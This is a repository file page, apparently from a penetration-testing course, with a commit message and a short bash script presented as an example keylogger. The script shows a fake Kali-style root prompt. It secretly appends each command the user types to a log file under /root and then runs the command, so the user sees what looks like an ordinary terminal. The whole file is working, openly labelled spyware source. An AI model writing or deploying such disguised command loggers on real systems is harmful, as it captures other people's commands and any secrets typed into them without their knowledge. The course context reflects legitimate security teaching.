BB-Pen-2/keylogger-example.sh
Nathan Woodburn f78d7461ab
keylogger-example.sh: Example keylogger script
- Script logs all keys pressed on keyboard to file
- Fake command prompt is displayed to user while running

README.md: Added instructions for creating and running keylogger
- Instructions include creating new directory, executable file, and script that logs keys to file
- Hints provided for infinite loop, getting input from user, displaying message of the day, and running variable as command.
2023-06-02 22:40:11 +10:00

47 lines
842 B
Bash

#!/bin/bash
# This script will run a keylogger
# and display a fake terminal prompt
Log=/root/keylogger/log.txt
# Clear the terminal
clear
# Show the motd
cat /etc/motd
# Loop forever
while true
do
# Get current terminal prompt
promptp11="┌──(" #blue
promptp12=$(whoami) #red
promptp13="㉿kali" #red
promptp14=")-[" #blue
promptp15=$(pwd) #green
# Replace home directory with ~
promptp15=${promptp15//"$HOME"/"~"}
promptp16="]" #blue
promptp21="└─" #blue
promptp22="#" #red
# Display the prompt formatted for the user
printf "\e[1;34m$promptp11\e[1;31m$promptp12\e[1;31m$promptp13\e[1;34m$promptp14\e[1;32m$promptp15\e[1;34m$promptp16\n\e[1;34m$promptp21\e[1;31m$promptp22\e[0m "
# Read user input
read input
if [ -z "$input" ]; then
exit
fi
# save the input to a file
echo $input >> $Log
# Run the command
$input
done